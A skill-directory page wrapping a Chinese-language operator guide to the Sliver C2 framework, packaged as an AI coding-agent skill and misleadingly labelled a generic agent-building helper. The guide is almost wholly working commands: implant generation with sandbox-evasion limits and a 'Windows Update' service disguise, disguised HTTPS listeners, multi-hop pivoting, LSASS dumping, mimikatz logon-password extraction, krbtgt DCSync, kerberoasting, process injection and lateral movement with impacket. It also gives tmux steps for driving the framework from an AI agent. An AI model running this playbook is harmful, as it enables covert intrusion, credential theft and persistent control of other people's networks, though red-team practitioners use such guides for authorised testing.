
Sliver C2
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
sliver-c2 is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- sliver-c2
- AI & Agent Building
- AI-coding skill
Sliver C2 by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,994 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill sliver-c2Add your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Sliver C2 框架操作指南
Sliver 是开源跨平台 C2 框架,支持多协议通信 (mTLS/HTTPS/HTTP/DNS/WireGuard)、Session/Beacon 双模式、端口转发/SOCKS5/TCP Pivot/Named Pipe Pivot 穿透能力、Armory 扩展生态与 BOF/COFF 执行。
---
Phase 1: 环境准备
# 安装
curl https://sliver.sh/install | sudo bash
sliver-server # 启动服务端
sliver-client # 客户端连接tmux 非交互式操作 (AI Agent 场景)
tmux new-session -d -s sliver "/path/to/sliver-client console"
sleep 5
tmux send-keys -t sliver "version" Enter
sleep 2
tmux capture-pane -t sliver -p | tail -20 # 捕获输出
tmux send-keys -t sliver "generate --mtls 10.0.0.164:8888 --os linux --save /tmp/implant" Enter
sleep 120 # 等待编译
tmux capture-pane -t sliver -p # 查看结果
tmux kill-session -t sliver # 关闭基本命令
sliver > version # 版本
sliver > jobs # 运行中的监听器
sliver > implants # 已生成的 implant
sliver > sessions # 活跃会话
sliver > beacons # 活跃 beacon---
Phase 2: Listener 配置
sliver > mtls # mTLS (推荐)
sliver > mtls --lhost 192.168.1.100 --lport 8888
sliver > https --domain example.com # HTTPS
sliver > https --domain example.com --lets-encrypt # HTTPS + 自动证书
sliver > https --domain example.com --website fake-blog # HTTPS + 静态伪装
sliver > http # HTTP
sliver > dns --domains 1.example.com. # DNS (FQDN 末尾带点)
sliver > wg # WireGuard
sliver > jobs # 查看监听器
sliver > jobs -k JOB_ID # 停止监听器协议对比
+------------+--------+----------------+------+--------+------------------+
| 协议 | 默认端口 | 加密方式 | 速度 | 隐蔽性 | 推荐场景 |
+------------+--------+----------------+------+--------+------------------+
| mTLS | 8888 | TLS 双向认证 | 快 | 中 | 内网/可控环境 |
| HTTPS | 443 | TLS | 中 | 高 | 出网受限环境 |
| HTTP | 80 | 应用层加密 | 中 | 中 | 代理环境 |
| DNS | 53 | 应用层加密 | 慢 | 高 | 高度受限网络 |
| WireGuard | 53/UDP | WireGuard | 快 | 中 | 需要端口转发 |
+------------+--------+----------------+------+--------+------------------+-> references/c2-protocols.md
---
Phase 3: Implant 生成
Session vs Beacon
| 特性 | Session | Beacon |
|---|---|---|
| 通信 | 实时持久连接 | 定期轮询 (默认 60s) |
| 隐蔽性 | 较低 | 较高 |
| shell/portfwd/pivot | 直接支持 | 需 interactive 切换 |
| 适用 | 交互操作 | 长期潜伏 |
生成命令
# Session 模式
sliver > generate --mtls example.com --os windows --arch amd64 --save /tmp
# Beacon 模式
sliver > generate beacon --mtls example.com --os windows --seconds 30 --jitter 10 --save /tmp
# 多协议备份
sliver > generate --mtls example.com --http backup.com --dns 1.dns.com.
# 输出格式: exe / shared (DLL/SO) / shellcode / service (Windows 服务)
sliver > generate --mtls example.com --format shellcode --save /tmp规避选项
sliver > generate --mtls example.com --limit-datetime "2024-12-31" # 限制执行时间
sliver > generate --mtls example.com --limit-domainjoined # 仅域加入机器
sliver > generate --mtls example.com --limit-hostname "TARGET-PC" # 限制主机名
sliver > generate --mtls example.com --limit-username "admin" # 限制用户名-> references/implant-generation.md
---
Phase 4: Session 管理
交互
sliver > use SESSION_ID # 使用会话
sliver (BEACON) > interactive # Beacon 切换到 Session
sliver (SESSION) > close # 关闭会话文件操作
sliver (SESSION) > ls / cd / pwd / cat # 文件系统导航
sliver (SESSION) > download /remote/file /local # 下载
sliver (SESSION) > upload /local/file /remote # 上传
sliver (SESSION) > mkdir /path && rm /path # 创建/删除进程管理
sliver (SESSION) > ps # 列出进程
sliver (SESSION) > ps -e "lsass" # 按名称过滤
sliver (SESSION) > kill PID # 终止进程
sliver (SESSION) > procdump -p PID -s /tmp/proc.dmp # 进程转储命令执行
sliver (SESSION) > shell # 交互式 shell (仅 Session)
sliver (SESSION) > execute -o whoami # 执行并返回输出
sliver (SESSION) > execute -o "cmd /c dir"
sliver (SESSION) > msf -m payload/windows/x64/exec # Metasploit 集成---
Phase 5: 网络穿透
端口转发
sliver (SESSION) > portfwd add --remote 10.10.10.10:3389 # 本地转发
sliver (SESSION) > portfwd add --bind 0.0.0.0:1234 --remote 10.10.10.10:22
sliver (SESSION) > rportfwd add --remote 0.0.0.0:8080 --local 127.0.0.1:80 # 反向转发
sliver (SESSION) > wg-portfwd add --remote 10.10.10.10:3389 # WireGuard 转发
sliver (SESSION) > portfwd rm ID # 删除SOCKS5 代理 + proxychains4
sliver (SESSION) > socks5 start --port 1080
sudo sed -i 's/^socks4.*/socks5 127.0.0.1 1080/' /etc/proxychains4.conf
proxychains4 -q nmap -sT -Pn -p 445,389,88 192.168.56.0/24
proxychains4 -q netexec smb 192.168.56.0/24
proxychains4 -q secretsdump.py domain/user:pass@192.168.56.10TCP Pivot (多层内网)
sliver (EDGE_SESSION) > pivots tcp --bind 0.0.0.0:9898 # 边界机器启动 pivot
sliver > generate --tcp-pivot 10.10.10.5:9898 --save /tmp # 生成 pivot implant
sliver (EDGE_SESSION) > upload /tmp/IMPLANT C:\Windows\Temp\ # 上传执行
sliver (EDGE_SESSION) > execute C:\Windows\Temp\IMPLANTNamed Pipe Pivot (同网段隐蔽)
sliver (SESSION) > pivots named-pipe --bind mypipe --allow-all
sliver > generate --named-pipe 192.168.1.100/pipe/mypipe --save /tmp-> references/pivoting-proxy.md
---
Phase 6: 后渗透
进程注入
sliver (SESSION) > migrate PID # 迁移进程
sliver (SESSION) > execute-shellcode -p PID /path/to/shellcode.bin # Shellcode 注入
sliver (SESSION) > execute-assembly /path/to/assembly.exe arg1 # .NET 内存加载凭据操作
sliver > armory install nanodump
sliver (SESSION) > nanodump # LSASS 转储
sliver > armory install rubeus
sliver (SESSION) > rubeus triage / kerberoast / asreproast # Kerberos 操作
sliver > armory install mimikatz
sliver (SESSION) > mimikatz "sekurlsa::logonpasswords" # 凭据提取权限提升
sliver (SESSION) > getsystem # 获取 SYSTEM
sliver (SESSION) > impersonate USERNAME # 模拟用户
sliver (SESSION) > rev2self # 恢复原始 tokenArmory 扩展与 BOF 执行
sliver > armory # 列出可用扩展
sliver > armory install coff-loader # BOF 加载器
sliver > armory install rubeus nanodump seatbelt sharphound sharpwmi
sliver > armory install all # 安装所有
sliver > extensions # 查看已安装
sliver (SESSION) > nanodump -h # BOF 帮助
sliver (SESSION) > rubeus kerberoast # 直接调用 BOF-> references/post-exploitation.md
---
决策树
需要建立 C2 通道?
|
+-- 网络环境评估
| |
| +-- 内网/可控环境 ---------> mTLS (最快最稳)
| +-- 出网受限/有代理 -------> HTTPS (代理感知)
| +-- 仅 DNS 出网 -----------> DNS (慢但隐蔽)
| +-- 需要高效隧道 ----------> WireGuard
| +-- 不确定 ----------------> 多协议备份 (mTLS + HTTPS + DNS)
|
+-- 选择 Implant 模式
| |
| +-- 需要实时交互? ---------> Session (shell/portfwd/socks5)
| +-- 需要长期潜伏? ---------> Beacon (--seconds/--jitter)
|
+-- 需要访问内网资源?
| |
| +-- 单个端口 --------------> portfwd add
| +-- 多个端口/扫描 ---------> socks5 start + proxychains4
| +-- 目标无法出网 ----------> TCP Pivot
| +-- 同网段横向 (Windows) --> Named Pipe Pivot
|
+-- 后渗透操作
|
+-- 需要凭据 --------------> nanodump / rubeus / mimikatz BOF
+-- 需要持久化 ------------> migrate 到稳定进程
+-- 需要执行 .NET 工具 ----> execute-assembly
+-- 需要 BOF 扩展 ---------> armory install + 直接调用---
工具清单
| 工具 | 用途 |
|---|---|
| sliver-server | C2 服务端 |
| sliver-client | 操作员客户端 |
| wg-quick | WireGuard 客户端 |
| tmux | 非交互式脚本集成 |
| proxychains4 | SOCKS 代理工具链路由 |
---
参考文档
- -> references/c2-protocols.md - C2 协议配置详解
- -> references/implant-generation.md - Implant 生成详解
- -> references/pivoting-proxy.md - 网络穿透与代理
- -> references/post-exploitation.md - 后渗透操作
C2 协议配置详解
mTLS (推荐)
双向 TLS 认证,证书自动生成并嵌入 implant,无需额外配置。
特点: 最快最稳定,自动证书管理,端口可自定义。
启动监听器
# 默认端口 8888
sliver > mtls
# 自定义端口
sliver > mtls --lport 443
# 绑定特定接口
sliver > mtls --lhost 192.168.1.100 --lport 8888生成 Implant
sliver > generate --mtls example.com
sliver > generate --mtls example.com:443适用场景
- 内网渗透,不经过防火墙深度检测
- 实验室/可控环境
- 需要最低延迟的交互操作
---
HTTPS
代理感知的 HTTPS C2,支持 Let's Encrypt 自动证书和静态网站伪装。
特点: 高隐蔽性,自动检测系统代理,支持域前置。
启动监听器
# 基础 HTTPS
sliver > https
# 指定域名
sliver > https --domain example.com
# Let's Encrypt 自动证书
sliver > https --domain example.com --lets-encrypt
# 自定义证书
sliver > https --domain example.com --cert ./cert.pem --key ./key.pem
# 配合静态网站伪装
sliver > https --domain example.com --website fake-blog静态网站伪装
# 添加网站内容
sliver > websites add --website fake-blog --web-path / --content ./index.html
sliver > websites add --website fake-blog --web-path /style.css --content ./style.css
# 绑定到 HTTPS 监听器
sliver > https --domain example.com --website fake-blog非 C2 流量的 HTTP 请求会返回伪装的静态页面,降低被识别概率。
代理感知
Implant 自动检测并使用系统代理,尝试顺序: 1. HTTPS over 系统代理 2. HTTP over 系统代理 3. HTTPS 直连 4. HTTP 直连
支持 NTLM/Kerberos 代理认证 (需要 --wininet 选项)。
生成 Implant
# 基础
sliver > generate --http example.com
# 多域名备份
sliver > generate --http example.com,backup.com
# URL 前缀 (用于重定向器)
sliver > generate --http example.com/api/v1---
DNS
通过 DNS 查询隧道化 C2 流量,适合高度受限网络。
特点: 绕过大多数防火墙,速度慢 (~30 Kbps),需要 FQDN。
DNS 记录配置
必须正确配置 DNS 记录:
1. A 记录: example.com -> 服务器 IP
2. A 记录: ns1.example.com -> 服务器 IP
3. NS 记录: 1.example.com -> ns1.example.com启动监听器
# 注意: 必须使用 FQDN (末尾带点)
sliver > dns --domains 1.example.com.
# 多域名
sliver > dns --domains 1.example.com.,c2.attacker.com.生成 Implant
# 必须使用 FQDN
sliver > generate --dns 1.example.com.DNS Canary
用于检测 implant 是否被沙箱分析:
# 生成带 canary 的 implant
sliver > generate --http example.com --canary 1.example.com.
# 查看 canary 触发记录
sliver > canaries当 canary 域名被解析时,说明 implant 可能正在被分析。
systemd-resolved 冲突处理
Ubuntu 系统的 systemd-resolved 会占用 53 端口,需要禁用:
# 停止并禁用 systemd-resolved
systemctl disable systemd-resolved.service
systemctl stop systemd-resolved
# 重新配置 DNS
rm -f /etc/resolv.conf
echo "nameserver 1.1.1.1" > /etc/resolv.conf---
WireGuard
基于 WireGuard VPN 的 C2,支持高效端口转发。
特点: 速度快,适合稳定隧道场景,客户端配置可导出。
启动监听器
# 默认 UDP 53
sliver > wg
# 自定义端口
sliver > wg --lport 51820生成客户端配置
sliver > wg-config --save ./wg-client.conf输出示例:
[Interface]
Address = 100.64.0.16/16
ListenPort = 51902
PrivateKey = xxx
MTU = 1420
[Peer]
PublicKey = xxx
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>使用 wg-quick 连接
# 编辑配置,设置 Endpoint
vim wg-client.conf
# 修改 Endpoint = example.com:53
# 连接
wg-quick up ./wg-client.conf
# 断开
wg-quick down ./wg-client.conf生成 Implant
sliver > generate --wg example.comWireGuard 端口转发
# 比普通端口转发更快更稳定
sliver (SESSION) > wg-portfwd add --remote 10.10.10.10:3389
# 通过 implant 的 WireGuard IP 访问,如: 100.64.0.17:1080 -> 10.10.10.10:3389
# WireGuard SOCKS 代理
sliver (SESSION) > wg-socks start---
多协议备份策略
配置多端点
# 主 mTLS,备份 HTTP 和 DNS
sliver > generate \
--mtls primary.com \
--http backup.com \
--dns 1.dns.com.重连逻辑
1. 按顺序尝试每个端点
2. 失败后等待 --reconnect 秒 (默认 60)
3. 循环尝试直到 --max-errors (默认 1000)# 自定义重连参数
sliver > generate \
--mtls primary.com \
--http backup.com \
--reconnect 30 \
--max-errors 100监听器管理
# 查看所有监听器
sliver > jobs
# 停止指定监听器
sliver > jobs -k JOB_ID
# 停止所有监听器
sliver > jobs -K---
协议选择决策表
网络环境评估
|
+-- 可以直连任意端口? --------> mTLS (最快)
|
+-- 仅允许 HTTP/HTTPS 出网?
| |
| +-- 有合法域名? ----------> HTTPS + Let's Encrypt
| +-- 无域名 ----------------> HTTP
|
+-- 仅允许 DNS 出网? ---------> DNS (慢但可靠)
|
+-- 需要 VPN 级隧道? ---------> WireGuard
|
+-- 不确定/高可用要求? -------> 多协议备份
(mTLS + HTTPS + DNS)Implant 生成详解
Session vs Beacon 详细对比
+------------------+------------------------+------------------------+
| 维度 | Session | Beacon |
+------------------+------------------------+------------------------+
| 交互方式 | 实时双向通信 | 异步任务队列 |
| 网络模式 | 持久连接 | 定期轮询回连 |
| 默认间隔 | 无 (始终在线) | 60 秒 (可配置) |
| 隐蔽性 | 较低 (持续流量) | 较高 (间歇流量) |
| 支持功能 | 全部命令 | 大部分 (部分需切换) |
| shell | 直接支持 | 需 interactive 切换 |
| portfwd / socks5 | 直接支持 | 需 interactive 切换 |
| pivot | 支持 | 不支持 |
| 检测风险 | 长连接易被发现 | 心跳模式较难检测 |
| 适用场景 | 主动交互/调试/穿透 | 长期潜伏/生产环境 |
+------------------+------------------------+------------------------+---
generate 命令参数详解
基础参数
sliver > generate [beacon] [选项]| 参数 | 说明 | 示例 |
|---|---|---|
--mtls | mTLS C2 端点 | --mtls example.com:8888 |
--http | HTTP(S) C2 端点 | --http example.com |
--dns | DNS C2 端点 (FQDN) | --dns 1.example.com. |
--wg | WireGuard C2 端点 | --wg example.com |
--tcp-pivot | TCP Pivot 端点 | --tcp-pivot 10.0.0.1:9898 |
--named-pipe | Named Pipe 端点 | --named-pipe host/pipe/name |
--os | 目标操作系统 | windows / linux / mac |
--arch | 目标架构 | amd64 / 386 / arm64 |
--format | 输出格式 | exe / shared / shellcode / service |
--save | 保存路径 | --save /tmp |
--name | 自定义 implant 名称 | --name svchost |
Beacon 专用参数
| 参数 | 说明 | 默认值 |
|---|---|---|
--seconds | 回连间隔 (秒) | 60 |
--jitter | 随机抖动百分比 | 30 |
# Beacon 示例
sliver > generate beacon --mtls example.com --seconds 30 --jitter 10网络参数
| 参数 | 说明 | 默认值 |
|---|---|---|
--reconnect | 重连等待秒数 | 60 |
--max-errors | 最大错误次数 | 1000 |
---
输出格式
exe (Windows PE / ELF / Mach-O)
默认格式,生成独立可执行文件。
# Windows
sliver > generate --mtls example.com --os windows --format exe
# Linux
sliver > generate --mtls example.com --os linux --format exe
# macOS
sliver > generate --mtls example.com --os mac --format exeshared (DLL / SO)
共享库格式,可用于 DLL 侧加载或 LD_PRELOAD。
# Windows DLL
sliver > generate --mtls example.com --os windows --format shared
# Linux SO
sliver > generate --mtls example.com --os linux --format sharedshellcode (原始 shellcode)
原始位置无关代码,用于注入场景。
# 生成 shellcode
sliver > generate --mtls example.com --os windows --format shellcode --save /tmp适用于: 进程注入、Loader 加载、自定义投递方式。
service (Windows 服务)
Windows 服务格式,可通过 SCM 安装。
# 生成 Windows 服务
sliver > generate --mtls example.com --os windows --format service --name "Windows Update"---
规避选项
--limit-datetime
限制 implant 仅在指定日期前执行,过期后自动退出。
sliver > generate --mtls example.com --limit-datetime "2024-12-31"--limit-domainjoined
限制 implant 仅在域加入的机器上执行,防止沙箱触发。
sliver > generate --mtls example.com --limit-domainjoined--limit-hostname
限制 implant 仅在指定主机名的机器上执行。
sliver > generate --mtls example.com --limit-hostname "TARGET-PC"--limit-username
限制 implant 仅在指定用户上下文中执行。
sliver > generate --mtls example.com --limit-username "admin"---
Debug 与符号选项
# 启用调试模式 (排查连接问题)
sliver > generate --mtls example.com --debug
# 跳过符号混淆 (加快编译,减少内存占用)
sliver > generate --mtls example.com --skip-symbols注意: --debug 会在 implant 中包含调试信息,仅用于测试环境。
---
Metasploit Stager 兼容
Sliver 支持 Metasploit 兼容的分阶段加载。
# 1. 创建 stager profile
sliver > profiles new --mtls example.com --format shellcode stager-profile
# 2. 启动 stager 监听器
sliver > stage-listener --url tcp://0.0.0.0:8443 --profile stager-profile
# 3. 使用 msfvenom 生成兼容 stager
msfvenom -p windows/x64/custom/reverse_tcp LHOST=example.com LPORT=8443 -f exe -o stager.exe---
Implant 管理
# 查看已生成的 implant
sliver > implants
# 查看 implant 详细配置
sliver > implants IMPLANT_NAME
# 重新下载已生成的 implant
sliver > regenerate --save /tmp IMPLANT_NAME---
配置预设
生产环境 (高隐蔽)
sliver > generate beacon \
--mtls primary.com \
--http backup.com \
--seconds 300 \
--jitter 50 \
--max-errors 10 \
--limit-domainjoined \
--os windows \
--arch amd64 \
--save /tmp测试环境 (快速调试)
sliver > generate \
--mtls 192.168.1.100 \
--debug \
--skip-symbols \
--os windows \
--save /tmp多平台生成
# Windows
sliver > generate --mtls example.com --os windows --arch amd64
# Linux
sliver > generate --mtls example.com --os linux --arch amd64
# macOS Intel
sliver > generate --mtls example.com --os mac --arch amd64
# macOS Apple Silicon
sliver > generate --mtls example.com --os mac --arch arm64网络穿透与代理
端口转发
本地端口转发 (portfwd)
通过 implant 访问目标内网资源,流量路径: 攻击者本地端口 -> Sliver -> Implant -> 内网目标。
# 基础用法 (默认绑定 127.0.0.1:8080)
sliver (SESSION) > portfwd add --remote 10.10.10.10:3389
# 自定义本地绑定
sliver (SESSION) > portfwd add --bind 0.0.0.0:1234 --remote 10.10.10.10:22
# 列出端口转发
sliver (SESSION) > portfwd
# 删除端口转发
sliver (SESSION) > portfwd rm ID反向端口转发 (rportfwd)
将目标机器的端口暴露到攻击者可达的地址。
# 目标监听 8080,转发到本地 80
sliver (SESSION) > rportfwd add --remote 0.0.0.0:8080 --local 127.0.0.1:80
# 列出反向端口转发
sliver (SESSION) > rportfwd
# 删除
sliver (SESSION) > rportfwd rm IDWireGuard 端口转发
需要 WireGuard C2,比普通端口转发更快更稳定。
# 添加 WireGuard 端口转发
sliver (SESSION) > wg-portfwd add --remote 10.10.10.10:3389
# 通过 implant 的 WireGuard IP 访问
# 例如: 100.64.0.17:1080 -> 10.10.10.10:3389---
SOCKS5 代理
启动代理
# 启动 SOCKS5 代理 (默认 127.0.0.1:1081)
sliver (SESSION) > socks5 start
# 自定义端口
sliver (SESSION) > socks5 start --port 1080
# WireGuard SOCKS (更稳定)
sliver (SESSION) > wg-socks start
# 停止代理
sliver (SESSION) > socks5 stopproxychains4 配置
编辑 /etc/proxychains4.conf:
# /etc/proxychains4.conf
# 使用 strict_chain (严格模式,代理失败则停止)
strict_chain
# 或使用 dynamic_chain (动态模式,跳过失败的代理)
# dynamic_chain
# 禁用 DNS 泄露
proxy_dns
# 超时设置 (毫秒)
tcp_read_time_out 15000
tcp_connect_time_out 8000
# 代理列表 (文件末尾)
[ProxyList]
# Sliver SOCKS5 代理
socks5 127.0.0.1 1080快速配置:
sudo sed -i 's/^socks4.*/socks5 127.0.0.1 1080/' /etc/proxychains4.conf工具链路由
# nmap (仅支持 -sT TCP Connect 扫描)
proxychains4 -q nmap -sT -Pn -p 22,80,443,445,3389 10.10.10.0/24
# netexec
proxychains4 -q netexec smb 10.10.10.0/24
# impacket 工具
proxychains4 -q secretsdump.py domain/user:pass@10.10.10.10
proxychains4 -q psexec.py domain/user:pass@10.10.10.10
proxychains4 -q wmiexec.py domain/user:pass@10.10.10.10
# smbclient
proxychains4 -q smbclient.py domain/user:pass@10.10.10.10注意事项
- SOCKS 代理监听在 Sliver 服务端,不是本地机器
- 如果通过 SSH 连接 Sliver 服务端,需要做 SSH 端口转发或在服务端执行命令
- 使用
-q参数避免 proxychains4 输出干扰命令结果 - nmap 通过代理只能使用
-sT(TCP Connect) 扫描,不支持 SYN 扫描
---
TCP Pivot
用于将 C2 流量通过一个 implant 转发到另一个 implant,适合无法直接出网的内网目标。
基础用法
# 1. 在已有会话上启动 TCP pivot 监听器
sliver (EGRESS_SESSION) > pivots tcp --bind 0.0.0.0:9898
# 2. 查看 pivot
sliver (EGRESS_SESSION) > pivots
# ID Protocol Bind Address Number Of Pivots
# ==== ========== ============== ==================
# 1 TCP :9898 0
# 3. 生成连接到 pivot 的 implant
sliver > generate --tcp-pivot 192.168.1.100:9898 --save /tmp
# 4. 在目标上执行 pivot implant,新会话将通过 EGRESS_SESSION 回连链式拓扑 (多层穿透)
[Attacker] <--mTLS--> [Session1/DMZ] <--TCP Pivot--> [Session2/内网]# 1. 在 DMZ 机器 (Session1) 启动 pivot
sliver (SESSION1) > pivots tcp --bind 0.0.0.0:9898
# 2. 生成连接到 pivot 的内网 implant
sliver > generate --tcp-pivot 10.10.10.5:9898 --save /tmp
# 3. 通过 Session1 上传并执行
sliver (SESSION1) > upload /tmp/INTERNAL_IMPLANT /tmp/
sliver (SESSION1) > execute /tmp/INTERNAL_IMPLANT
# 4. 内网会话建立
# [*] Session xxx - 10.10.10.5:9898->SESSION1->三层穿透:
[Attacker] <--mTLS--> [A/边界] <--TCP Pivot--> [B/二层] <--Named Pipe--> [C/三层]# 在 A 上启动 TCP pivot
sliver (IMPLANT_A) > pivots tcp --bind 0.0.0.0:9898
# 生成连接到 A 的 Implant B
sliver > generate --tcp-pivot 10.10.10.1:9898 --save /tmp
# 在 B 上启动 Named Pipe pivot
sliver (IMPLANT_B) > pivots named-pipe --bind chain
# 生成连接到 B 的 Implant C
sliver > generate --named-pipe 10.10.10.2/pipe/chain --save /tmp---
Named Pipe Pivot
仅 Windows 支持,使用 SMB 命名管道通信。适合同网段横向移动,流量不出网,在 Windows 域环境中更隐蔽。
基础用法
# 1. 启动命名管道监听器
sliver (SESSION) > pivots named-pipe --bind mypipe
# 允许所有用户连接 (默认仅当前用户)
sliver (SESSION) > pivots named-pipe --bind mypipe --allow-all
# 2. 生成 pivot implant
sliver > generate --named-pipe 192.168.1.100/pipe/mypipe --save /tmp
# 语法: <host>/pipe/<pipe_name>
# "." 等同于 127.0.0.1
# 3. 在目标上执行 pivot implant---
场景演练
场景 1: RDP 访问内网主机
# 1. 建立端口转发
sliver (SESSION) > portfwd add --remote 10.10.10.10:3389
# 2. 通过本地端口连接 RDP
xfreerdp /v:127.0.0.1:8080 /u:admin /p:password场景 2: 内网网络扫描
# 1. 启动 SOCKS 代理
sliver (SESSION) > socks5 start --port 1080
# 2. 配置 proxychains
sudo sed -i 's/^socks4.*/socks5 127.0.0.1 1080/' /etc/proxychains4.conf
# 3. 扫描内网
proxychains4 -q nmap -sT -Pn 10.10.10.0/24 -p 22,80,443,445
proxychains4 -q netexec smb 10.10.10.0/24场景 3: 双层网络穿透
Internet --> DMZ (10.10.10.0/24) --> Internal (192.168.1.0/24)# 1. 在 DMZ 机器上启动 pivot (已有 mTLS 会话)
sliver (DMZ_SESSION) > pivots tcp --bind 0.0.0.0:9898
# 2. 生成内网 implant
sliver > generate --tcp-pivot 10.10.10.5:9898 --save /tmp
# 3. 通过 DMZ 会话上传并执行
sliver (DMZ_SESSION) > upload /tmp/INTERNAL_IMPLANT /tmp/
sliver (DMZ_SESSION) > execute /tmp/INTERNAL_IMPLANT
# 4. 在内网会话上启动 SOCKS 代理
sliver (INTERNAL_SESSION) > socks5 start --port 1081
# 5. 扫描内部网络
proxychains4 -q nmap -sT -Pn 192.168.1.0/24 -p 445,389,88场景 4: 横向移动 (Named Pipe)
# 1. 在已控机器上启动 Named Pipe pivot
sliver (CONTROLLED) > pivots named-pipe --bind lateral --allow-all
# 2. 生成 pivot implant (shellcode 格式便于注入)
sliver > generate --named-pipe ./pipe/lateral --format shellcode --save /tmp
# 3. 使用 psexec/wmi 等方式在目标执行
# 新会话将通过 CONTROLLED 机器回连---
Pivot 限制与注意事项
限制
- Pivot 仅支持 Session 模式 (不支持 Beacon)
- Pivot implant 只能与 同一服务器 生成的 implant 通信
- Pivot 使用点对点加密密钥交换
性能排序
WireGuard 端口转发 > 普通端口转发 > TCP Pivot > Named Pipe Pivot安全注意
- Named Pipe 默认只允许当前用户连接
- 使用
--allow-all时需评估风险 - 多层 Pivot 会增加延迟
- Pivot 流量经过端到端加密
后渗透操作
系统信息
# 会话信息 (OS/架构/用户/进程等)
sliver (SESSION) > info
# 网络接口
sliver (SESSION) > ifconfig
# 网络连接
sliver (SESSION) > netstat
# 进程列表
sliver (SESSION) > ps
sliver (SESSION) > ps -e "lsass" # 按名称过滤
sliver (SESSION) > ps -o "NT AUTHORITY" # 按 owner 过滤
# 当前用户
sliver (SESSION) > whoami
sliver (SESSION) > getuid
sliver (SESSION) > getgid
# 进程 ID
sliver (SESSION) > getpid
# 环境变量
sliver (SESSION) > env---
文件操作
文件系统导航
sliver (SESSION) > pwd
sliver (SESSION) > cd /path/to/dir
sliver (SESSION) > ls
sliver (SESSION) > ls -la /path文件传输
# 下载文件
sliver (SESSION) > download /remote/file /local/path
# 上传文件
sliver (SESSION) > upload /local/file /remote/path文件管理
# 读取文件内容
sliver (SESSION) > cat /etc/passwd
sliver (SESSION) > cat C:\Windows\System32\drivers\etc\hosts
# 创建目录
sliver (SESSION) > mkdir /path/to/dir
# 删除文件
sliver (SESSION) > rm /path/to/file
# 删除目录
sliver (SESSION) > rmdir /path/to/dir---
进程管理
# 列出所有进程
sliver (SESSION) > ps
# 过滤进程
sliver (SESSION) > ps -e "lsass"
# 当前进程 ID
sliver (SESSION) > getpid
# 终止进程
sliver (SESSION) > kill PID
# 进程内存转储
sliver (SESSION) > procdump -p PID -s /tmp/proc.dmp---
命令执行
execute
# 执行命令并返回输出
sliver (SESSION) > execute -o whoami
sliver (SESSION) > execute -o "cmd /c dir"
sliver (SESSION) > execute -o "powershell -c Get-Process"
# 后台执行 (不返回输出)
sliver (SESSION) > execute cmd /c "ping 8.8.8.8"shell
# 交互式 shell (仅 Session 模式)
sliver (SESSION) > shellmsf (Metasploit 集成)
# 通过 Metasploit 执行 payload
sliver (SESSION) > msf -m payload/windows/x64/exec -f raw---
进程注入
migrate (迁移进程)
将 implant 注入到另一个进程中运行,原进程退出后 implant 继续存活。
# 迁移到指定 PID
sliver (SESSION) > migrate PID
# 生成新进程并迁移
sliver (SESSION) > migrate -n notepad.exeexecute-shellcode
# 注入 shellcode 到指定进程
sliver (SESSION) > execute-shellcode -p PID /path/to/shellcode.bin
# 自注入
sliver (SESSION) > execute-shellcode /path/to/shellcode.binexecute-assembly (.NET 内存加载)
在内存中加载并执行 .NET Assembly,不落盘。
# 执行 .NET Assembly
sliver (SESSION) > execute-assembly /path/to/assembly.exe arg1 arg2
# 在特定进程中执行
sliver (SESSION) > execute-assembly -p PID /path/to/assembly.exe---
凭据操作
nanodump (LSASS 转储)
# 安装 nanodump
sliver > armory install nanodump
# 转储 LSASS 内存
sliver (SESSION) > nanodump
sliver (SESSION) > nanodump 1234 dump.dmp 1 PMDM
# 参数: PID dump名称 是否写文件 签名Rubeus BOF (Kerberos)
# 安装 Rubeus
sliver > armory install rubeus
# 列出票据
sliver (SESSION) > rubeus triage
# Kerberoast
sliver (SESSION) > rubeus kerberoast
# AS-REP Roast
sliver (SESSION) > rubeus asreproast
# 请求 TGT
sliver (SESSION) > rubeus asktgt /user:admin /password:pass
# 导出所有票据
sliver (SESSION) > rubeus dumpmimikatz BOF
# 安装 mimikatz BOF
sliver > armory install mimikatz
# 获取登录凭据
sliver (SESSION) > mimikatz "sekurlsa::logonpasswords"
# DCSync
sliver (SESSION) > mimikatz "lsadump::dcsync /user:DOMAIN\\krbtgt"---
权限提升
getsystem
# 获取 SYSTEM 权限 (需要管理员)
sliver (SESSION) > getsystem
# 验证
sliver (SESSION) > execute -o whoami
# NT AUTHORITY\SYSTEMimpersonate
# 模拟指定用户
sliver (SESSION) > impersonate USERNAME
# 恢复原始 token
sliver (SESSION) > rev2self---
Armory 扩展管理
安装扩展
# 列出可用扩展
sliver > armory
# 安装单个扩展
sliver > armory install rubeus
sliver > armory install nanodump
sliver > armory install coff-loader
sliver > armory install seatbelt
sliver > armory install sharphound
sliver > armory install sharpwmi
# 安装所有扩展
sliver > armory install all
# 更新扩展
sliver > armory update管理扩展
# 查看已安装扩展
sliver > extensions
sliver > aliases
# 删除扩展
sliver > extensions rm EXTENSION_NAME
sliver > aliases rm ALIAS_NAME常用 BOF 列表
| BOF | 用途 |
|---|---|
| coff-loader | BOF 加载器 (基础依赖) |
| nanodump | LSASS 内存转储 |
| rubeus | Kerberos 攻击工具 |
| mimikatz | 凭据提取 |
| seatbelt | 系统安全枚举 |
| sharphound | BloodHound 数据收集 |
| sharpwmi | WMI 远程执行 |
| sa-ldapsearch | LDAP 查询 |
| inject-assembly | Assembly 注入 |
---
BOF/COFF 执行
inline-execute
BOF (Beacon Object File) 通过 Armory 安装后可直接调用。
# 安装 BOF 加载器 (前置依赖)
sliver > armory install coff-loader
# 安装具体 BOF
sliver > armory install nanodump
# 直接调用 (安装后自动注册为命令)
sliver (SESSION) > nanodump
# 查看 BOF 帮助
sliver (SESSION) > nanodump -h参数传递
BOF 命令参数直接跟在命令后面:
# nanodump 带参数
sliver (SESSION) > nanodump 1234 dump.dmp 1 PMDM
# rubeus 带参数
